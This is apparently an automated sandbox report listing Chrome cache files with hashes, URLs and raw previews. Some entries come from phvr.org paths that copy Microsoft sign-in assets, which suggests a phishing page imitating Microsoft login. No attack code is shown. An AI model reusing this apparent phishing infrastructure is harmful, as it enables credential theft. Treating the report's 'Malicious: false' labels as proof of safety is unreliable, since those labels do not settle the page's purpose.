SSDEEP:	24:Ekd1Tk97hn5ZoK2kTL01MCJZ4ZVaeao1DphsILHJNM2WXgEXgf0Xgm:9da7d5d8pJZ4+BWIIPLQ73/
MD5:	108A4DAFB6208F11604033C769DD54DE
SHA1:	C636880762B6EF08C858AADF0B0423B3375C4D18
SHA-256:	B45282310AA60BE4271B36993FF203791B9FD961F1C59B6D59E02E8A2082EE38
SHA-512:	2284518E03CD266F7F4CC0FCF78EE86ABED4D7B118296A258807176697E0336E7287840406A64B067DFA0BE1F61FCC175E43906621AA51290DB174F7DAE2B906
Malicious:	false
Reputation:	low
URL:	https://c.s-microsoft.com/en-us/CMSStyles/style.csx?k=b38e7b38-f2bd-90bd-16b5-45a457a50550
Preview:	.div_heading_OnePSTemplete h2{font-size:26px;margin-top:0}.psp-expand-all{border:1px solid transparent}body{min-width:280px !important}a:not(.c-uhf-nav-link):not(.c-uhff-link):not(.c-cat-logo){word-wrap:break-word;color:#006fc9 !important;font-weight:400 !important}body .grid,.body-open .grid,.grid h3,.grid .h3,.grid .header-small,.grid strong,.grid .body-tight-2,.grid h1,.grid .h1,.grid .header-large,.grid .caption{font-family:"Segoe UI"}.grid .row h1,.grid .row h2,.grid .row h3,.header-small label{font-family:wf_segoe-ui_light,wf_segoe-ui_normal,Tahoma,Verdana,Arial,sans-serif}.grid{max-width:1600px !important}.c-uhfh-actions,.c-uhfh-gcontainer-st .all-ms-nav,.glyph-global-nav-button{display:none !important}.shell-header-wrapper,.shell-footer-wrapper,.shell-category-nav,.shell-notification .shell-notification-grid-row{max-width:1180px !important}.PsTitle{font-family:Segoe UI,sans-serif;margin-right:.3em !important;font-size:2em;display:inline-block;vertical-align:top;margin-left:-.02

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 342 x 72, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5139
Entropy (8bit):	7.865234009830226
Encrypted:	false
SSDEEP:	96:oX2DsRVNYc82nTGTirCPqKO1gDPFjDiwK3aM5yO/bUlVV6JKo5N9jIMw7RLW1ZHb:ofRgc82nTprQsgDNDP7QgVVoH9+kMK9
MD5:	8B36337037CFF88C3DF203BB73D58E41
SHA1:	1ADA36FA207B8B96B2A5F55078BFE2A97ACEAD0E
SHA-256:	E4E1E65871749D18AEA150643C07E0AAB2057DA057C6C57EC1C3C43580E1C898
SHA-512:	97D8CC97C4577631D8D58C0D9276EE55E4B80128080220F77E01E45385C20FE55D208122A8DFA5DADCB87543B1BC291B98DBBA44E8A2BA90D17C638C15D48793
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...V...H.............tEXtSoftware.Adobe ImageReadyq.e<...%iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.0 (Macintosh)" xmpMM:InstanceID="xmp.iid:DB120779422011EA9888910153D3A5E6" xmpMM:DocumentID="xmp.did:DB12077A422011EA9888910153D3A5E6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DB120777422011EA9888910153D3A5E6" stRef:documentID="xmp.did:DB120778422011EA9888910153D3A5E6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>P.WI....IDATx..]]l.......(.5.K0P..0...E.qT..J X)F.(5X....J.}(m.R5.Q...RUEUPU~.....qp@.b......L...k.m"0......"c.3

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42690)
Category:	downloaded
Size (bytes):	42691
Entropy (8bit):	5.373060430099094
Encrypted:	false
SSDEEP:	768:PCoL1znQzlLmx0isMILdD9dBvKBI886ifvO95QPcQ+aoh0aKoS4HRGU5KdF:XQzlyx0ipuvKBb95Q5
MD5:	985094F1486391033426C17505182792
SHA1:	D44FF6BEF2E3D9B2F6DEAA0170458B1AE39350D4
SHA-256:	14B108C7F687C327D6AA759FD1D255A981D5D505B241B5B968B674E3BF50B2B9
SHA-512:	D1A8015658A82AE64F2E93341B8CA15B0057DF298DF36ACB47188B330E0327CFE0392EE1FF94B9D3BE7BC7D689BDD536A86ADB873A7ADEDE10AE45AA9A9415DB
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/g/d2a97f6b6ec9/api.js
Preview:	"use strict";(function(){function Et(e,a,r,o,c,u,g){try{var b=e[u](g),_=b.value}catch(l){r(l);return}b.done?a(_):Promise.resolve(_).then(o,c)}function wt(e){return function(){var a=this,r=arguments;return new Promise(function(o,c){var u=e.apply(a,r);function g(_){Et(u,o,c,g,b,"next",_)}function b(_){Et(u,o,c,g,b,"throw",_)}g(void 0)})}}function M(e,a){return a!=null&&typeof Symbol!="undefined"&&a[Symbol.hasInstance]?!!a[Symbol.hasInstance](e):M(e,a)}function Re(e,a,r){return a in e?Object.defineProperty(e,a,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[a]=r,e}function Be(e){for(var a=1;a<arguments.length;a++){var r=arguments[a]!=null?arguments[a]:{},o=Object.keys(r);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(r).filter(function(c){return Object.getOwnPropertyDescriptor(r,c).enumerable}))),o.forEach(function(c){Re(e,c,r[c])})}return e}function fr(e,a){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 33556, version 0.0
Category:	downloaded
Size (bytes):	33556
Entropy (8bit):	7.986987433752767
Encrypted:	false
SSDEEP:	768:agf2aMu68W993ufOSHOWuwtfLVebDm6r9j3oqlHH:hf2vuYb3IPHOdaJmp3Dn
MD5:	637B1F43DE4B96B9446ADCC107C5F688
SHA1:	3FAD425F0C1CFE8711888CD877E122E5F8D2C15A
SHA-256:	0ED2DC761DDF650B9AAB0C366F43DDEA0DB81E13BBE603A21F2BFEF519387CE9
SHA-512:	9B48ED55813F9A372F1E1BE5FEF737B0583E8990B9B0D57A7810EEC5F55D5C9CC55739D3DC3A2851009964C34C82F1D0D9B58EC05A212779667A023DB8804BF5
Malicious:	false
Reputation:	low
URL:	https://i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.woff
Preview:	wOFF........................................OS/2...D...X...`J..%cmap..............<.cvt ...........L/.+}fpgm............".[.gasp...\|.........<..glyf......m....,....head..x$...6...6.X.hhea..x\...!...$.<.Jhmtx..x............loca..\|..........{.maxp....... ... ....name...0........ DE.post........... .Q.wprep...0.......ibMktx.c`f.`8.....:....Q.B3_dHc..`e.feb.B&....e...'.(..VP.R....^........(0.$...:.H)00..<W..x.e.{L.U..?..E../..7<<..-.?.M...K6...M%.4@..E.DMs1.S....f.]t..4L..t3//o.R7..}.N/.....9g...o./ .V....._..x.I.Z..O.5DC5B.5V...\M.czJ.Z...V......g.S.,r.:..G...s&........V..;1{p.$..3....d.,3.L6......In_7...#..7.-..q.-.......+.CH}t...j.Fj......t=..R..b<.]x.8M....x...I5....<..x.-O.N........7.s....$zBl....&......?.S.>..z...^.w.k..N....G..m..J[G..BgEj#.#."..R.<...$......e.pVx....W.9..l...v....UdU...y.U.6....H.RC...n.V5(...7.........vv....([..Z.....f'.yIb-..@......8.2....i....&G9.[.f....+...c\|......PH3..=o3.....?.#....H..R.\|J(%...X.".S......T....J......._.

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 342 x 72, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5139
Entropy (8bit):	7.865234009830226
Encrypted:	false
SSDEEP:	96:oX2DsRVNYc82nTGTirCPqKO1gDPFjDiwK3aM5yO/bUlVV6JKo5N9jIMw7RLW1ZHb:ofRgc82nTprQsgDNDP7QgVVoH9+kMK9
MD5:	8B36337037CFF88C3DF203BB73D58E41
SHA1:	1ADA36FA207B8B96B2A5F55078BFE2A97ACEAD0E
SHA-256:	E4E1E65871749D18AEA150643C07E0AAB2057DA057C6C57EC1C3C43580E1C898
SHA-512:	97D8CC97C4577631D8D58C0D9276EE55E4B80128080220F77E01E45385C20FE55D208122A8DFA5DADCB87543B1BC291B98DBBA44E8A2BA90D17C638C15D48793
Malicious:	false
Reputation:	low
URL:	https://phvr.org/aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png
Preview:	.PNG........IHDR...V...H.............tEXtSoftware.Adobe ImageReadyq.e<...%iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.0 (Macintosh)" xmpMM:InstanceID="xmp.iid:DB120779422011EA9888910153D3A5E6" xmpMM:DocumentID="xmp.did:DB12077A422011EA9888910153D3A5E6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DB120777422011EA9888910153D3A5E6" stRef:documentID="xmp.did:DB120778422011EA9888910153D3A5E6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>P.WI....IDATx..]]l.......(.5.K0P..0...E.qT..J X)F.(5X....J.}(m.R5.Q...RUEUPU~.....qp@.b......L...k.m"0......"c.3

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	338
Entropy (8bit):	7.004897375379158
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+k790OCotr/vbXX3PHrLiBxwGFhGsznYUAlnEkPb6PL2+/pTp:6v/78/v4rrXX3u1XYRm4byp9
MD5:	290AFB4165DD808A850D8920AEB5DBF4
SHA1:	0B4BF844AED3A740A99B7415F6BD803E84DDDA4D
SHA-256:	882FDB8A4BF176D2A09427D6A5BDBA3051307F2605090DA848085B0D78B6FD99
SHA-512:	197AD95E98C04B26AAD845DF7FF5C3C2CC6020E5273526970261F30A8EEAAB30A1C0DDC2BAE1D654095E8D47D399CCB526B32AD7CBE84CB1140E2D5F5142A7DB
Malicious:	false
Reputation:	low
URL:	https://c.s-microsoft.com/en-us/CMSImages/Print-new-2.png?version=4eafce11-a3df-e971-f481-fed76428ffa1
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....IDAT8O..=..0...\.+....{......A.qQ..*.....&.l.....4i.7MM$u..:b&5..F.2.q....%3L.K..,..2C....c?+.{....B7i~R..0;.r..C.c....$....Jx.^8.O.l.!E).#l...e..#.k/...y.D..%<.<......4\.2H..0.>...WY9giK,la/....p<...4%...N..-I..._%...s1....P.......IEND.B`.

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
URL:	https://phvr.org/aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4054
Entropy (8bit):	7.797012573497454
Encrypted:	false
SSDEEP:	48:zICvnyRHJ3BRZPcSPQ72N2xoiR4fTJX/rj4sFNMkk5/p1k2lPUmbm39o4aL7V9XH:10nvE724xoiRQJPrjpLKSFl9oX31Z1d
MD5:	9F14C20150A003D7CE4DE57C298F0FBA
SHA1:	DAA53CF17CC45878A1B153F3C3BF47DC9669D78F
SHA-256:	112FEC798B78AA02E102A724B5CB1990C0F909BC1D8B7B1FA256EAB41BBC0960
SHA-512:	D4F6E49C854E15FE48D6A1F1A03FDA93218AB8FCDB2C443668E7DF478830831ACC2B41DAEFC25ED38FCC8D96C4401377374FED35C36A5017A11E63C8DAE5C487
Malicious:	false
Reputation:	low
URL:	https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31
Preview:	.PNG........IHDR.............J.......tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c132 79.159284, 2016/04/19-13:13:40 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A00BC639840A11E68CBEB97C2156C7FD" xmpMM:InstanceID="xmp.iid:A00BC638840A11E68CBEB97C2156C7FD" xmp:CreatorTool="Adobe Photoshop CC 2015.5 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A2C931A470A111E6AEDFA14578553B7B" stRef:documentID="xmp.did:A2C931A570A111E6AEDFA14578553B7B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......DIDATx..\..UU.>.7..3....h.L..& j2...h.@..".........`U.......R"..Dq.&.BJR 1.4`$.200...l........wg.y.[k/

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65339), with CRLF line terminators
Category:	downloaded
Size (bytes):	662286
Entropy (8bit):	5.315860951951661
Encrypted:	false
SSDEEP:	12288:YfmmzLJTD/JilMGk4hBR310FaHHxpJy7qVfb4cSPo:Yfm+T7US7SR310FaHHTJy7qJ4rPo
MD5:	12204899D75FC019689A92ED57559B94
SHA1:	CCF6271C6565495B18C1CED2F7273D5875DBFB1F
SHA-256:	39DAFD5ACA286717D9515F24CF9BE0C594DFD1DDF746E6973B1CE5DE8B2DD21B
SHA-512:	AA397E6ABD4C54538E42CCEDA8E3AA64ACE76E50B231499C20E88CF09270AECD704565BC9BD3B27D90429965A0233F99F27697F66829734FF02511BD096CF030
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7741.23/scripts/boot.worldwide.2.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.2.mouse.js'] = (new Date()).getTime();.._y.lC=function(){};_y.lC.registerInterface("_y.lC");_y.jw=function(){};_y.jw.registerInterface("_y.jw");_y.lA=function(){};_y.lA.registerInterface("_y.lA");var IDelayedSendEvent=function(){};IDelayedSendEvent.registerInterface("IDelayedSendEvent");var IIsShowingComposeInReadingPaneEvent=function(){};IIsShowingComposeInReadingPaneEvent.registerInterface("IIsShowingComposeInReadingPaneEvent");var ISendFailedO365Event=function(){};ISendFailedO365Event.registerInterface("ISendFailedO365Event");var ISendFailureRemoveO365Event=function(){};ISendFailureRemoveO365Event.registerInterface("ISendFailureRemoveO365Event");_y.gw=function(){};_y.gw.registerInterface("_y.gw");_y.iB=function(){};_y.iB.registerInterface("_y.iB");_y.ih=function(){};_y.ih.registerInterface("_y.ih");_y.jy=function(){};_y.jy.regis

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 33556, version 0.0
Category:	downloaded
Size (bytes):	33556
Entropy (8bit):	7.986987433752767
Encrypted:	false
SSDEEP:	768:agf2aMu68W993ufOSHOWuwtfLVebDm6r9j3oqlHH:hf2vuYb3IPHOdaJmp3Dn
MD5:	637B1F43DE4B96B9446ADCC107C5F688
SHA1:	3FAD425F0C1CFE8711888CD877E122E5F8D2C15A
SHA-256:	0ED2DC761DDF650B9AAB0C366F43DDEA0DB81E13BBE603A21F2BFEF519387CE9
SHA-512:	9B48ED55813F9A372F1E1BE5FEF737B0583E8990B9B0D57A7810EEC5F55D5C9CC55739D3DC3A2851009964C34C82F1D0D9B58EC05A212779667A023DB8804BF5
Malicious:	false
Reputation:	low
URL:	https://i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.woff
Preview:	wOFF........................................OS/2...D...X...`J..%cmap..............<.cvt ...........L/.+}fpgm............".[.gasp...\|.........<..glyf......m....,....head..x$...6...6.X.hhea..x\...!...$.<.Jhmtx..x............loca..\|..........{.maxp....... ... ....name...0........ DE.post........... .Q.wprep...0.......ibMktx.c`f.`8.....:....Q.B3_dHc..`e.feb.B&....e...'.(..VP.R....^........(0.$...:.H)00..<W..x.e.{L.U..?..E../..7<<..-.?.M...K6...M%.4@..E.DMs1.S....f.]t..4L..t3//o.R7..}.N/.....9g...o./ .V....._..x.I.Z..O.5DC5B.5V...\M.czJ.Z...V......g.S.,r.:..G...s&........V..;1{p.$..3....d.,3.L6......In_7...#..7.-..q.-.......+.CH}t...j.Fj......t=..R..b<.]x.8M....x...I5....<..x.-O.N........7.s....$zBl....&......?.S.>..z...^.w.k..N....G..m..J[G..BgEj#.#."..R.<...$......e.pVx....W.9..l...v....UdU...y.U.6....H.RC...n.V5(...7.........vv....([..Z.....f'.yIb-..@......8.2....i....&G9.[.f....+...c\|......PH3..=o3.....?.#....H..R.\|J(%...X.".S......T....J......._.

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113355
Category:	downloaded
Size (bytes):	20390
Entropy (8bit):	7.9794389214686126
Encrypted:	false
SSDEEP:	384:ekqQ8rNFEhCgMyL2iww6oIR8mWG+Pu9Z5IMU7ULgCsHqZl3v:9CGEiL/w7R8DW9Z5BU7UMZHqv
MD5:	5EDF83D03EA7B67BD2F35472E435D17E
SHA1:	737BF84D2931906E6700439FD90CE6147633B0D0
SHA-256:	6524138B61AAF24DEADDA7C64AF577789C350C1ED90C48B6482011323C455513
SHA-512:	DE3F83D1C11E1498C2D83DD72374755385DE76F870F54A2698D22DC7CE2F85B685690C93128A9A68D43DB94B7CCE1C45072521A5912E97F4FCACD341F162FA45
Malicious:	false
Reputation:	low
URL:	https://phvr.org/aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_mc5ac6ol0l4d2iaqspstyg2.css
Preview:	...........}ks.6.....\.R;.J.H=-WR;..&>g^53.G.R[.DY<C..$e.WG..... )...{+'g...l............bw_f7.:x..<x.-.V5)/wE..Y...gy.0.(.-o.e.\|..._..I.....?<{.!x...W..._..^..p..E..'..Y...<.....]..6(. ..D.....Y.......:.ve.?..!..\|t...].+.......a.......\|.P...u.H.d.d.r.c[..~.L..n.-.}e.H3...r..^..iP.u..z.....)..Z.jx..C'......u..{.C...N.o.m~..F(b..f.....h..O.....6....kr.......n2m M$.R..R..i{.~.....n.dKY..#.Kn.4..G...O..l.#.a=..iU..].S.2.wY..O.\|...Z.A....].uU.._%U.<...pp..u=.....C.R..S.....0...A<......&...W..'o.T.."..jO..^+.....DiW.b..7i..7..........lKe.0.~B0.....zQu#...YB.,.{.&.6..G.6..._...J.i.?.LS$( .^.{..u.-.0....K....M&j..s.yB..+....^.)...7e.....]..eFI_.kRX.B......D[.4......+.u=>....R.`QEK...R..d...*S.. ,c5RKBK(......][..eF{T.....6...".....Uk:..S.0Ro.}B.dwJZ}U..S.F.....&.&.~\|......{..Ep.>x..._....}p..=.}...v...7?}...g..1&.......}...^...o.x.>x...../.^....._.........w.v./.........BA...{J..w..$?.}w....?zO.r..5...7.gl..z...g.?.{....R.......yGj

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, baseline, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	17453
Entropy (8bit):	3.890509953257612
Encrypted:	false
SSDEEP:	192:P7FRTHQpmA3ZkXOL25cYty7l6UWUjMJBSab/vR+yzP:P/cpmgkF5+JWUjMp40P
MD5:	7916A894EBDE7D29C2CC29B267F1299F
SHA1:	78345CA08F9E2C3C2CC9B318950791B349211296
SHA-256:	D8F5AB3E00202FD3B45BE1ACD95D677B137064001E171BC79B06826D98F1E1D3
SHA-512:	2180ABE47FBF76E2E0608AB3A4659C1B7AB027004298D81960DC575CC2E912ECCA8C131C6413EBBF46D2AAA90E392EB00E37AED7A79CDC0AC71BA78D828A84C7
Malicious:	false
Reputation:	low
Preview:	.....Phttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
URL:	https://phvr.org/aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45724)
Category:	downloaded
Size (bytes):	141489
Entropy (8bit):	5.431133536260887
Encrypted:	false
SSDEEP:	1536:5/Z5EDQvTPRUbx3jog/MhSJvRkmYWp0BSYmvIxdL/Bpns0Vgt2CTJm0wTxFojd9t:RE6rg/MQNn3vIPzDk80ZjT0qQePJl
MD5:	C3C032E6ACE26EE517C93834B5C61E39
SHA1:	5DBD581163A78A6045C118403435EE1155CB77D6
SHA-256:	E187A8DEBF2CE8C356039A85F0E7DC38DEB15C27921AE442579102EE42F12CB6
SHA-512:	EE298F0EED7C16ABECB42499F246AD088C5106F4B6BACF00DC81BFE3D4B1B8B4C8E8BA1B522D59E6D394C65D682454BF8B08BC6B966B12C27839B2AC506CB7C2
Malicious:	false
Reputation:	low
URL:	https://phvr.org/aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_sw-M8KkV3_nBot-G1ImRcw2.js
